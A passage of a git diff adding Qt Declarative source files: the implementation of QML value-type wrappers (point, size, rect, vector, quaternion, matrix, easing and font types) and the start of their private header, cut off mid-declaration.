+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#include "private/qdeclarativevaluetype_p.h"
+
+#include "private/qdeclarativemetatype_p.h"
+#include "private/qfont_p.h"
+
+#include <QtCore/qdebug.h>
+
+QT_BEGIN_NAMESPACE
+
+template<typename T>
+int qmlRegisterValueTypeEnums(const char *uri, int versionMajor, int versionMinor, const char *qmlName)
+{
+ QByteArray name(T::staticMetaObject.className());
+
+ QByteArray pointerName(name + '*');
+
+ QDeclarativePrivate::RegisterType type = {
+ 0,
+
+ qRegisterMetaType<T *>(pointerName.constData()), 0, 0, 0,
+
+ QString(),
+
+ uri, versionMajor, versionMinor, qmlName, &T::staticMetaObject,
+
+ 0, 0,
+
+ 0, 0, 0,
+
+ 0, 0,
+
+ 0,
+ 0
+ };
+
+ return QDeclarativePrivate::qmlregister(QDeclarativePrivate::TypeRegistration, &type);
+}
+
+QDeclarativeValueTypeFactory::QDeclarativeValueTypeFactory()
+{
+ // ### Optimize
+ for (unsigned int ii = 0; ii < (QVariant::UserType - 1); ++ii)
+ valueTypes[ii] = valueType(ii);
+}
+
+QDeclarativeValueTypeFactory::~QDeclarativeValueTypeFactory()
+{
+ for (unsigned int ii = 0; ii < (QVariant::UserType - 1); ++ii)
+ delete valueTypes[ii];
+}
+
+bool QDeclarativeValueTypeFactory::isValueType(int idx)
+{
+ if ((uint)idx < QVariant::UserType)
+ return true;
+ return false;
+}
+
+void QDeclarativeValueTypeFactory::registerValueTypes()
+{
+ qmlRegisterValueTypeEnums<QDeclarativeEasingValueType>("QtQuick",1,0,"Easing");
+ qmlRegisterValueTypeEnums<QDeclarativeFontValueType>("QtQuick",1,0,"Font");
+#ifndef QT_NO_IMPORT_QT47_QML
+ qmlRegisterValueTypeEnums<QDeclarativeEasingValueType>("Qt",4,7,"Easing");
+ qmlRegisterValueTypeEnums<QDeclarativeFontValueType>("Qt",4,7,"Font");
+#endif
+}
+
+QDeclarativeValueType *QDeclarativeValueTypeFactory::valueType(int t)
+{
+ QDeclarativeValueType *rv = 0;
+
+ switch (t) {
+ case QVariant::Point:
+ rv = new QDeclarativePointValueType;
+ break;
+ case QVariant::PointF:
+ rv = new QDeclarativePointFValueType;
+ break;
+ case QVariant::Size:
+ rv = new QDeclarativeSizeValueType;
+ break;
+ case QVariant::SizeF:
+ rv = new QDeclarativeSizeFValueType;
+ break;
+ case QVariant::Rect:
+ rv = new QDeclarativeRectValueType;
+ break;
+ case QVariant::RectF:
+ rv = new QDeclarativeRectFValueType;
+ break;
+ case QVariant::Vector2D:
+ rv = new QDeclarativeVector2DValueType;
+ break;
+ case QVariant::Vector3D:
+ rv = new QDeclarativeVector3DValueType;
+ break;
+ case QVariant::Vector4D:
+ rv = new QDeclarativeVector4DValueType;
+ break;
+ case QVariant::Quaternion:
+ rv = new QDeclarativeQuaternionValueType;
+ break;
+ case QVariant::Matrix4x4:
+ rv = new QDeclarativeMatrix4x4ValueType;
+ break;
+ case QVariant::EasingCurve:
+ rv = new QDeclarativeEasingValueType;
+ break;
+ case QVariant::Font:
+ rv = new QDeclarativeFontValueType;
+ break;
+ default:
+ break;
+ }
+
+ Q_ASSERT(!rv || rv->metaObject()->propertyCount() < 32);
+ return rv;
+}
+
+QDeclarativeValueType::QDeclarativeValueType(QObject *parent)
+: QObject(parent)
+{
+}
+
+QDeclarativePointFValueType::QDeclarativePointFValueType(QObject *parent)
+: QDeclarativeValueType(parent)
+{
+}
+
+void QDeclarativePointFValueType::read(QObject *obj, int idx)
+{
+ void *a[] = { &point, 0 };
+ QMetaObject::metacall(obj, QMetaObject::ReadProperty, idx, a);
+}
+
+void QDeclarativePointFValueType::write(QObject *obj, int idx, QDeclarativePropertyPrivate::WriteFlags flags)
+{
+ int status = -1;
+ void *a[] = { &point, 0, &status, &flags };
+ QMetaObject::metacall(obj, QMetaObject::WriteProperty, idx, a);
+}
+
+QVariant QDeclarativePointFValueType::value()
+{
+ return QVariant(point);
+}
+
+void QDeclarativePointFValueType::setValue(QVariant value)
+{
+ point = qvariant_cast<QPointF>(value);
+}
+
+qreal QDeclarativePointFValueType::x() const
+{
+ return point.x();
+}
+
+qreal QDeclarativePointFValueType::y() const
+{
+ return point.y();
+}
+
+void QDeclarativePointFValueType::setX(qreal x)
+{
+ point.setX(x);
+}
+
+void QDeclarativePointFValueType::setY(qreal y)
+{
+ point.setY(y);
+}
+
+QDeclarativePointValueType::QDeclarativePointValueType(QObject *parent)
+: QDeclarativeValueType(parent)
+{
+}
+
+void QDeclarativePointValueType::read(QObject *obj, int idx)
+{
+ void *a[] = { &point, 0 };
+ QMetaObject::metacall(obj, QMetaObject::ReadProperty, idx, a);
+}
+
+void QDeclarativePointValueType::write(QObject *obj, int idx, QDeclarativePropertyPrivate::WriteFlags flags)
+{
+ int status = -1;
+ void *a[] = { &point, 0, &status, &flags };
+ QMetaObject::metacall(obj, QMetaObject::WriteProperty, idx, a);
+}
+
+QVariant QDeclarativePointValueType::value()
+{
+ return QVariant(point);
+}
+
+void QDeclarativePointValueType::setValue(QVariant value)
+{
+ point = qvariant_cast<QPoint>(value);
+}
+
+int QDeclarativePointValueType::x() const
+{
+ return point.x();
+}
+
+int QDeclarativePointValueType::y() const
+{
+ return point.y();
+}
+
+void QDeclarativePointValueType::setX(int x)
+{
+ point.setX(x);
+}
+
+void QDeclarativePointValueType::setY(int y)
+{
+ point.setY(y);
+}
+
+QDeclarativeSizeFValueType::QDeclarativeSizeFValueType(QObject *parent)
+: QDeclarativeValueType(parent)
+{
+}
+
+void QDeclarativeSizeFValueType::read(QObject *obj, int idx)
+{
+ void *a[] = { &size, 0 };
+ QMetaObject::metacall(obj, QMetaObject::ReadProperty, idx, a);
+}
+
+void QDeclarativeSizeFValueType::write(QObject *obj, int idx, QDeclarativePropertyPrivate::WriteFlags flags)
+{
+ int status = -1;
+ void *a[] = { &size, 0, &status, &flags };
+ QMetaObject::metacall(obj, QMetaObject::WriteProperty, idx, a);
+}
+
+QVariant QDeclarativeSizeFValueType::value()
+{
+ return QVariant(size);
+}
+
+void QDeclarativeSizeFValueType::setValue(QVariant value)
+{
+ size = qvariant_cast<QSizeF>(value);
+}
+
+qreal QDeclarativeSizeFValueType::width() const
+{
+ return size.width();
+}
+
+qreal QDeclarativeSizeFValueType::height() const
+{
+ return size.height();
+}
+
+void QDeclarativeSizeFValueType::setWidth(qreal w)
+{
+ size.setWidth(w);
+}
+
+void QDeclarativeSizeFValueType::setHeight(qreal h)
+{
+ size.setHeight(h);
+}
+
+QDeclarativeSizeValueType::QDeclarativeSizeValueType(QObject *parent)
+: QDeclarativeValueType(parent)
+{
+}
+
+void QDeclarativeSizeValueType::read(QObject *obj, int idx)
+{
+ void *a[] = { &size, 0 };
+ QMetaObject::metacall(obj, QMetaObject::ReadProperty, idx, a);
+}
+
+void QDeclarativeSizeValueType::write(QObject *obj, int idx, QDeclarativePropertyPrivate::WriteFlags flags)
+{
+ int status = -1;
+ void *a[] = { &size, 0, &status, &flags };
+ QMetaObject::metacall(obj, QMetaObject::WriteProperty, idx, a);
+}
+
+QVariant QDeclarativeSizeValueType::value()
+{
+ return QVariant(size);
+}
+
+void QDeclarativeSizeValueType::setValue(QVariant value)
+{
+ size = qvariant_cast<QSize>(value);
+}
+
+int QDeclarativeSizeValueType::width() const
+{
+ return size.width();
+}
+
+int QDeclarativeSizeValueType::height() const
+{
+ return size.height();
+}
+
+void QDeclarativeSizeValueType::setWidth(int w)
+{
+ size.setWidth(w);
+}
+
+void QDeclarativeSizeValueType::setHeight(int h)
+{
+ size.setHeight(h);
+}
+
+QDeclarativeRectFValueType::QDeclarativeRectFValueType(QObject *parent)
+: QDeclarativeValueType(parent)
+{
+}
+
+void QDeclarativeRectFValueType::read(QObject *obj, int idx)
+{
+ void *a[] = { &rect, 0 };
+ QMetaObject::metacall(obj, QMetaObject::ReadProperty, idx, a);
+}
+
+void QDeclarativeRectFValueType::write(QObject *obj, int idx, QDeclarativePropertyPrivate::WriteFlags flags)
+{
+ int status = -1;
+ void *a[] = { &rect, 0, &status, &flags };
+ QMetaObject::metacall(obj, QMetaObject::WriteProperty, idx, a);
+}
+
+QVariant QDeclarativeRectFValueType::value()
+{
+ return QVariant(rect);
+}
+
+void QDeclarativeRectFValueType::setValue(QVariant value)
+{
+ rect = qvariant_cast<QRectF>(value);
+}
+
+qreal QDeclarativeRectFValueType::x() const
+{
+ return rect.x();
+}
+
+qreal QDeclarativeRectFValueType::y() const
+{
+ return rect.y();
+}
+
+void QDeclarativeRectFValueType::setX(qreal x)
+{
+ rect.moveLeft(x);
+}
+
+void QDeclarativeRectFValueType::setY(qreal y)
+{
+ rect.moveTop(y);
+}
+
+qreal QDeclarativeRectFValueType::width() const
+{
+ return rect.width();
+}
+
+qreal QDeclarativeRectFValueType::height() const
+{
+ return rect.height();
+}
+
+void QDeclarativeRectFValueType::setWidth(qreal w)
+{
+ rect.setWidth(w);
+}
+
+void QDeclarativeRectFValueType::setHeight(qreal h)
+{
+ rect.setHeight(h);
+}
+
+QDeclarativeRectValueType::QDeclarativeRectValueType(QObject *parent)
+: QDeclarativeValueType(parent)
+{
+}
+
+void QDeclarativeRectValueType::read(QObject *obj, int idx)
+{
+ void *a[] = { &rect, 0 };
+ QMetaObject::metacall(obj, QMetaObject::ReadProperty, idx, a);
+}
+
+void QDeclarativeRectValueType::write(QObject *obj, int idx, QDeclarativePropertyPrivate::WriteFlags flags)
+{
+ int status = -1;
+ void *a[] = { &rect, 0, &status, &flags };
+ QMetaObject::metacall(obj, QMetaObject::WriteProperty, idx, a);
+}
+
+QVariant QDeclarativeRectValueType::value()
+{
+ return QVariant(rect);
+}
+
+void QDeclarativeRectValueType::setValue(QVariant value)
+{
+ rect = qvariant_cast<QRect>(value);
+}
+
+int QDeclarativeRectValueType::x() const
+{
+ return rect.x();
+}
+
+int QDeclarativeRectValueType::y() const
+{
+ return rect.y();
+}
+
+void QDeclarativeRectValueType::setX(int x)
+{
+ rect.moveLeft(x);
+}
+
+void QDeclarativeRectValueType::setY(int y)
+{
+ rect.moveTop(y);
+}
+
+int QDeclarativeRectValueType::width() const
+{
+ return rect.width();
+}
+
+int QDeclarativeRectValueType::height() const
+{
+ return rect.height();
+}
+
+void QDeclarativeRectValueType::setWidth(int w)
+{
+ rect.setWidth(w);
+}
+
+void QDeclarativeRectValueType::setHeight(int h)
+{
+ rect.setHeight(h);
+}
+
+QDeclarativeVector2DValueType::QDeclarativeVector2DValueType(QObject *parent)
+: QDeclarativeValueType(parent)
+{
+}
+
+void QDeclarativeVector2DValueType::read(QObject *obj, int idx)
+{
+ void *a[] = { &vector, 0 };
+ QMetaObject::metacall(obj, QMetaObject::ReadProperty, idx, a);
+}
+
+void QDeclarativeVector2DValueType::write(QObject *obj, int idx, QDeclarativePropertyPrivate::WriteFlags flags)
+{
+ int status = -1;
+ void *a[] = { &vector, 0, &status, &flags };
+ QMetaObject::metacall(obj, QMetaObject::WriteProperty, idx, a);
+}
+
+QVariant QDeclarativeVector2DValueType::value()
+{
+ return QVariant(vector);
+}
+
+void QDeclarativeVector2DValueType::setValue(QVariant value)
+{
+ vector = qvariant_cast<QVector2D>(value);
+}
+
+qreal QDeclarativeVector2DValueType::x() const
+{
+ return vector.x();
+}
+
+qreal QDeclarativeVector2DValueType::y() const
+{
+ return vector.y();
+}
+
+void QDeclarativeVector2DValueType::setX(qreal x)
+{
+ vector.setX(x);
+}
+
+void QDeclarativeVector2DValueType::setY(qreal y)
+{
+ vector.setY(y);
+}
+
+QDeclarativeVector3DValueType::QDeclarativeVector3DValueType(QObject *parent)
+: QDeclarativeValueType(parent)
+{
+}
+
+void QDeclarativeVector3DValueType::read(QObject *obj, int idx)
+{
+ void *a[] = { &vector, 0 };
+ QMetaObject::metacall(obj, QMetaObject::ReadProperty, idx, a);
+}
+
+void QDeclarativeVector3DValueType::write(QObject *obj, int idx, QDeclarativePropertyPrivate::WriteFlags flags)
+{
+ int status = -1;
+ void *a[] = { &vector, 0, &status, &flags };
+ QMetaObject::metacall(obj, QMetaObject::WriteProperty, idx, a);
+}
+
+QVariant QDeclarativeVector3DValueType::value()
+{
+ return QVariant(vector);
+}
+
+void QDeclarativeVector3DValueType::setValue(QVariant value)
+{
+ vector = qvariant_cast<QVector3D>(value);
+}
+
+qreal QDeclarativeVector3DValueType::x() const
+{
+ return vector.x();
+}
+
+qreal QDeclarativeVector3DValueType::y() const
+{
+ return vector.y();
+}
+
+qreal QDeclarativeVector3DValueType::z() const
+{
+ return vector.z();
+}
+
+void QDeclarativeVector3DValueType::setX(qreal x)
+{
+ vector.setX(x);
+}
+
+void QDeclarativeVector3DValueType::setY(qreal y)
+{
+ vector.setY(y);
+}
+
+void QDeclarativeVector3DValueType::setZ(qreal z)
+{
+ vector.setZ(z);
+}
+
+QDeclarativeVector4DValueType::QDeclarativeVector4DValueType(QObject *parent)
+: QDeclarativeValueType(parent)
+{
+}
+
+void QDeclarativeVector4DValueType::read(QObject *obj, int idx)
+{
+ void *a[] = { &vector, 0 };
+ QMetaObject::metacall(obj, QMetaObject::ReadProperty, idx, a);
+}
+
+void QDeclarativeVector4DValueType::write(QObject *obj, int idx, QDeclarativePropertyPrivate::WriteFlags flags)
+{
+ int status = -1;
+ void *a[] = { &vector, 0, &status, &flags };
+ QMetaObject::metacall(obj, QMetaObject::WriteProperty, idx, a);
+}
+
+QVariant QDeclarativeVector4DValueType::value()
+{
+ return QVariant(vector);
+}
+
+void QDeclarativeVector4DValueType::setValue(QVariant value)
+{
+ vector = qvariant_cast<QVector4D>(value);
+}
+
+qreal QDeclarativeVector4DValueType::x() const
+{
+ return vector.x();
+}
+
+qreal QDeclarativeVector4DValueType::y() const
+{
+ return vector.y();
+}
+
+qreal QDeclarativeVector4DValueType::z() const
+{
+ return vector.z();
+}
+
+qreal QDeclarativeVector4DValueType::w() const
+{
+ return vector.w();
+}
+
+void QDeclarativeVector4DValueType::setX(qreal x)
+{
+ vector.setX(x);
+}
+
+void QDeclarativeVector4DValueType::setY(qreal y)
+{
+ vector.setY(y);
+}
+
+void QDeclarativeVector4DValueType::setZ(qreal z)
+{
+ vector.setZ(z);
+}
+
+void QDeclarativeVector4DValueType::setW(qreal w)
+{
+ vector.setW(w);
+}
+
+QDeclarativeQuaternionValueType::QDeclarativeQuaternionValueType(QObject *parent)
+: QDeclarativeValueType(parent)
+{
+}
+
+void QDeclarativeQuaternionValueType::read(QObject *obj, int idx)
+{
+ void *a[] = { &quaternion, 0 };
+ QMetaObject::metacall(obj, QMetaObject::ReadProperty, idx, a);
+}
+
+void QDeclarativeQuaternionValueType::write(QObject *obj, int idx, QDeclarativePropertyPrivate::WriteFlags flags)
+{
+ int status = -1;
+ void *a[] = { &quaternion, 0, &status, &flags };
+ QMetaObject::metacall(obj, QMetaObject::WriteProperty, idx, a);
+}
+
+QVariant QDeclarativeQuaternionValueType::value()
+{
+ return QVariant(quaternion);
+}
+
+void QDeclarativeQuaternionValueType::setValue(QVariant value)
+{
+ quaternion = qvariant_cast<QQuaternion>(value);
+}
+
+qreal QDeclarativeQuaternionValueType::scalar() const
+{
+ return quaternion.scalar();
+}
+
+qreal QDeclarativeQuaternionValueType::x() const
+{
+ return quaternion.x();
+}
+
+qreal QDeclarativeQuaternionValueType::y() const
+{
+ return quaternion.y();
+}
+
+qreal QDeclarativeQuaternionValueType::z() const
+{
+ return quaternion.z();
+}
+
+void QDeclarativeQuaternionValueType::setScalar(qreal scalar)
+{
+ quaternion.setScalar(scalar);
+}
+
+void QDeclarativeQuaternionValueType::setX(qreal x)
+{
+ quaternion.setX(x);
+}
+
+void QDeclarativeQuaternionValueType::setY(qreal y)
+{
+ quaternion.setY(y);
+}
+
+void QDeclarativeQuaternionValueType::setZ(qreal z)
+{
+ quaternion.setZ(z);
+}
+
+QDeclarativeMatrix4x4ValueType::QDeclarativeMatrix4x4ValueType(QObject *parent)
+: QDeclarativeValueType(parent)
+{
+}
+
+void QDeclarativeMatrix4x4ValueType::read(QObject *obj, int idx)
+{
+ void *a[] = { &matrix, 0 };
+ QMetaObject::metacall(obj, QMetaObject::ReadProperty, idx, a);
+}
+
+void QDeclarativeMatrix4x4ValueType::write(QObject *obj, int idx, QDeclarativePropertyPrivate::WriteFlags flags)
+{
+ int status = -1;
+ void *a[] = { &matrix, 0, &status, &flags };
+ QMetaObject::metacall(obj, QMetaObject::WriteProperty, idx, a);
+}
+
+QVariant QDeclarativeMatrix4x4ValueType::value()
+{
+ return QVariant(matrix);
+}
+
+void QDeclarativeMatrix4x4ValueType::setValue(QVariant value)
+{
+ matrix = qvariant_cast<QMatrix4x4>(value);
+}
+
+QDeclarativeEasingValueType::QDeclarativeEasingValueType(QObject *parent)
+: QDeclarativeValueType(parent)
+{
+}
+
+void QDeclarativeEasingValueType::read(QObject *obj, int idx)
+{
+ void *a[] = { &easing, 0 };
+ QMetaObject::metacall(obj, QMetaObject::ReadProperty, idx, a);
+}
+
+void QDeclarativeEasingValueType::write(QObject *obj, int idx, QDeclarativePropertyPrivate::WriteFlags flags)
+{
+ int status = -1;
+ void *a[] = { &easing, 0, &status, &flags };
+ QMetaObject::metacall(obj, QMetaObject::WriteProperty, idx, a);
+}
+
+QVariant QDeclarativeEasingValueType::value()
+{
+ return QVariant(easing);
+}
+
+void QDeclarativeEasingValueType::setValue(QVariant value)
+{
+ easing = qvariant_cast<QEasingCurve>(value);
+}
+
+QDeclarativeEasingValueType::Type QDeclarativeEasingValueType::type() const
+{
+ return (QDeclarativeEasingValueType::Type)easing.type();
+}
+
+qreal QDeclarativeEasingValueType::amplitude() const
+{
+ return easing.amplitude();
+}
+
+qreal QDeclarativeEasingValueType::overshoot() const
+{
+ return easing.overshoot();
+}
+
+qreal QDeclarativeEasingValueType::period() const
+{
+ return easing.period();
+}
+
+void QDeclarativeEasingValueType::setType(QDeclarativeEasingValueType::Type type)
+{
+ easing.setType((QEasingCurve::Type)type);
+}
+
+void QDeclarativeEasingValueType::setAmplitude(qreal amplitude)
+{
+ easing.setAmplitude(amplitude);
+}
+
+void QDeclarativeEasingValueType::setOvershoot(qreal overshoot)
+{
+ easing.setOvershoot(overshoot);
+}
+
+void QDeclarativeEasingValueType::setPeriod(qreal period)
+{
+ easing.setPeriod(period);
+}
+
+QDeclarativeFontValueType::QDeclarativeFontValueType(QObject *parent)
+: QDeclarativeValueType(parent), pixelSizeSet(false), pointSizeSet(false)
+{
+}
+
+void QDeclarativeFontValueType::read(QObject *obj, int idx)
+{
+ void *a[] = { &font, 0 };
+ QMetaObject::metacall(obj, QMetaObject::ReadProperty, idx, a);
+ pixelSizeSet = false;
+ pointSizeSet = false;
+}
+
+void QDeclarativeFontValueType::write(QObject *obj, int idx, QDeclarativePropertyPrivate::WriteFlags flags)
+{
+ int status = -1;
+ void *a[] = { &font, 0, &status, &flags };
+ QMetaObject::metacall(obj, QMetaObject::WriteProperty, idx, a);
+}
+
+QVariant QDeclarativeFontValueType::value()
+{
+ return QVariant(font);
+}
+
+void QDeclarativeFontValueType::setValue(QVariant value)
+{
+ font = qvariant_cast<QFont>(value);
+}
+
+
+QString QDeclarativeFontValueType::family() const
+{
+ return font.family();
+}
+
+void QDeclarativeFontValueType::setFamily(const QString &family)
+{
+ font.setFamily(family);
+}
+
+bool QDeclarativeFontValueType::bold() const
+{
+ return font.bold();
+}
+
+void QDeclarativeFontValueType::setBold(bool b)
+{
+ font.setBold(b);
+}
+
+QDeclarativeFontValueType::FontWeight QDeclarativeFontValueType::weight() const
+{
+ return (QDeclarativeFontValueType::FontWeight)font.weight();
+}
+
+void QDeclarativeFontValueType::setWeight(QDeclarativeFontValueType::FontWeight w)
+{
+ font.setWeight((QFont::Weight)w);
+}
+
+bool QDeclarativeFontValueType::italic() const
+{
+ return font.italic();
+}
+
+void QDeclarativeFontValueType::setItalic(bool b)
+{
+ font.setItalic(b);
+}
+
+bool QDeclarativeFontValueType::underline() const
+{
+ return font.underline();
+}
+
+void QDeclarativeFontValueType::setUnderline(bool b)
+{
+ font.setUnderline(b);
+}
+
+bool QDeclarativeFontValueType::overline() const
+{
+ return font.overline();
+}
+
+void QDeclarativeFontValueType::setOverline(bool b)
+{
+ font.setOverline(b);
+}
+
+bool QDeclarativeFontValueType::strikeout() const
+{
+ return font.strikeOut();
+}
+
+void QDeclarativeFontValueType::setStrikeout(bool b)
+{
+ font.setStrikeOut(b);
+}
+
+qreal QDeclarativeFontValueType::pointSize() const
+{
+ if (font.pointSizeF() == -1) {
+ if (dpi.isNull)
+ dpi = qt_defaultDpi();
+ return font.pixelSize() * qreal(72.) / qreal(dpi);
+ }
+ return font.pointSizeF();
+}
+
+void QDeclarativeFontValueType::setPointSize(qreal size)
+{
+ if (pixelSizeSet) {
+ qWarning() << "Both point size and pixel size set. Using pixel size.";
+ return;
+ }
+
+ if (size >= 0.0) {
+ pointSizeSet = true;
+ font.setPointSizeF(size);
+ } else {
+ pointSizeSet = false;
+ }
+}
+
+int QDeclarativeFontValueType::pixelSize() const
+{
+ if (font.pixelSize() == -1) {
+ if (dpi.isNull)
+ dpi = qt_defaultDpi();
+ return (font.pointSizeF() * dpi) / qreal(72.);
+ }
+ return font.pixelSize();
+}
+
+void QDeclarativeFontValueType::setPixelSize(int size)
+{
+ if (size >0) {
+ if (pointSizeSet)
+ qWarning() << "Both point size and pixel size set. Using pixel size.";
+ font.setPixelSize(size);
+ pixelSizeSet = true;
+ } else {
+ pixelSizeSet = false;
+ }
+}
+
+QDeclarativeFontValueType::Capitalization QDeclarativeFontValueType::capitalization() const
+{
+ return (QDeclarativeFontValueType::Capitalization)font.capitalization();
+}
+
+void QDeclarativeFontValueType::setCapitalization(QDeclarativeFontValueType::Capitalization c)
+{
+ font.setCapitalization((QFont::Capitalization)c);
+}
+
+qreal QDeclarativeFontValueType::letterSpacing() const
+{
+ return font.letterSpacing();
+}
+
+void QDeclarativeFontValueType::setLetterSpacing(qreal size)
+{
+ font.setLetterSpacing(QFont::AbsoluteSpacing, size);
+}
+
+qreal QDeclarativeFontValueType::wordSpacing() const
+{
+ return font.wordSpacing();
+}
+
+void QDeclarativeFontValueType::setWordSpacing(qreal size)
+{
+ font.setWordSpacing(size);
+}
+
+QT_END_NAMESPACE
diff --git a/src/declarative/qml/qdeclarativevaluetype_p.h b/src/declarative/qml/qdeclarativevaluetype_p.h
new file mode 100644
index 00000000..5c2cda7f
--- /dev/null
+++ b/src/declarative/qml/qdeclarativevaluetype_p.h
@@ -0,0 +1,556 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#ifndef QDECLARATIVEVALUETYPE_P_H
+#define QDECLARATIVEVALUETYPE_P_H
+
+//
+// W A R N I N G
+// -------------
+//
+// This file is not part of the Qt API. It exists purely as an
+// implementation detail. This header file may change from version to
+// version without notice, or even be removed.
+//
+// We mean it.
+//
+
+#include "qdeclarativeproperty.h"
+#include "private/qdeclarativeproperty_p.h"
+#include "private/qdeclarativenullablevalue_p_p.h"
+
+#include <QtCore/qobject.h>
+#include <QtCore/qrect.h>
+#include <QtCore/qeasingcurve.h>
+#include <QtCore/qvariant.h>
+#include <QtGui/qvector2d.h>
+#include <QtGui/qvector3d.h>
+#include <QtGui/qvector4d.h>
+#include <QtGui/qmatrix4x4.h>
+#include <QtGui/qquaternion.h>
+#include <QtGui/qfont.h>
+
+QT_BEGIN_NAMESPACE
+
+class Q_DECLARATIVE_PRIVATE_EXPORT QDeclarativeValueType : public QObject
+{
+ Q_OBJECT
+public:
+ QDeclarativeValueType(QObject *parent = 0);
+ virtual void read(QObject *, int) = 0;
+ virtual void write(QObject *, int, QDeclarativePropertyPrivate::WriteFlags flags) = 0;
+ virtual QVariant value() = 0;
+ virtual void setValue(QVariant) = 0;
+};
+
+class Q_DECLARATIVE_PRIVATE_EXPORT QDeclarativeValueTypeFactory
+{
+public:
+ QDeclarativeValueTypeFactory();
+ ~QDeclarativeValueTypeFactory();
+ static bool isValueType(int);
+ static QDeclarativeValueType *valueType(int);
+
+ static void registerValueTypes();
+
+ QDeclarativeValueType *operator[](int idx) const {
+ if (idx >= (int)QVariant::UserType) return 0;
+ else return valueTypes[idx];
+ }
+
+private:
+ QDeclarativeValueType *valueTypes[QVariant::UserType - 1];
+};
+
+class Q_AUTOTEST_EXPORT QDeclarativePointFValueType : public QDeclarativeValueType
+{
+ Q_PROPERTY(qreal x READ x WRITE setX)
+ Q_PROPERTY(qreal y READ y WRITE setY)
+ Q_OBJECT
+public:
+ QDeclarativePointFValueType(QObject *parent = 0);
+
+ virtual void read(QObject *, int);
+ virtual void write(QObject *, int, QDeclarativePropertyPrivate::WriteFlags);
+ virtual QVariant value();
+ virtual void setValue(QVariant value);
+
+ qreal x() const;
+ qreal y() const;
+ void setX(qreal);
+ void setY(qreal);
+
+private:
+ QPointF point;
+};
+
+class Q_AUTOTEST_EXPORT QDeclarativePointValueType : public QDeclarativeValueType
+{
+ Q_PROPERTY(int x READ x WRITE setX)
+ Q_PROPERTY(int y READ y WRITE setY)
+ Q_OBJECT
+public:
+ QDeclarativePointValueType(QObject *parent = 0);
+
+ virtual void read(QObject *, int);
+ virtual void write(QObject *, int, QDeclarativePropertyPrivate::WriteFlags);
+ virtual QVariant value();
+ virtual void setValue(QVariant value);
+
+ int x() const;
+ int y() const;
+ void setX(int);
+ void setY(int);
+
+private:
+ QPoint point;
+};
+
+class Q_AUTOTEST_EXPORT QDeclarativeSizeFValueType : public QDeclarativeValueType
+{
+ Q_PROPERTY(qreal width READ width WRITE setWidth)
+ Q_PROPERTY(qreal height READ height WRITE setHeight)
+ Q_OBJECT
+public:
+ QDeclarativeSizeFValueType(QObject *parent = 0);
+
+ virtual void read(QObject *, int);
+ virtual void write(QObject *, int, QDeclarativePropertyPrivate::WriteFlags);
+ virtual QVariant value();
+ virtual void setValue(QVariant value);
+
+ qreal width() const;
+ qreal height() const;
+ void setWidth(qreal);
+ void setHeight(qreal);
+
+private:
+ QSizeF size;
+};
+
+class Q_AUTOTEST_EXPORT QDeclarativeSizeValueType : public QDeclarativeValueType
+{
+ Q_PROPERTY(int width READ width WRITE setWidth)
+ Q_PROPERTY(int height READ height WRITE setHeight)
+ Q_OBJECT
+public:
+ QDeclarativeSizeValueType(QObject *parent = 0);
+
+ virtual void read(QObject *, int);
+ virtual void write(QObject *, int, QDeclarativePropertyPrivate::WriteFlags);
+ virtual QVariant value();
+ virtual void setValue(QVariant value);
+
+ int width() const;
+ int height() const;
+ void setWidth(int);
+ void setHeight(int);
+
+private:
+ QSize size;
+};
+
+class Q_AUTOTEST_EXPORT QDeclarativeRectFValueType : public QDeclarativeValueType
+{
+ Q_PROPERTY(qreal x READ x WRITE setX)
+ Q_PROPERTY(qreal y READ y WRITE setY)
+ Q_PROPERTY(qreal width READ width WRITE setWidth)
+ Q_PROPERTY(qreal height READ height WRITE setHeight)
+ Q_OBJECT
+public:
+ QDeclarativeRectFValueType(QObject *parent = 0);
+
+ virtual void read(QObject *, int);
+ virtual void write(QObject *, int, QDeclarativePropertyPrivate::WriteFlags);
+ virtual QVariant value();
+ virtual void setValue(QVariant value);
+
+ qreal x() const;
+ qreal y() const;
+ void setX(qreal);
+ void setY(qreal);
+
+ qreal width() const;
+ qreal height() const;
+ void setWidth(qreal);
+ void setHeight(qreal);
+
+private:
+ QRectF rect;
+};
+
+class Q_AUTOTEST_EXPORT QDeclarativeRectValueType : public QDeclarativeValueType
+{
+ Q_PROPERTY(int x READ x WRITE setX)
+ Q_PROPERTY(int y READ y WRITE setY)
+ Q_PROPERTY(int width READ width WRITE setWidth)
+ Q_PROPERTY(int height READ height WRITE setHeight)
+ Q_OBJECT
+public:
+ QDeclarativeRectValueType(QObject *parent = 0);
+
+ virtual void read(QObject *, int);
+ virtual void write(QObject *, int, QDeclarativePropertyPrivate::WriteFlags);
+ virtual QVariant value();
+ virtual void setValue(QVariant value);
+
+ int x() const;
+ int y() const;
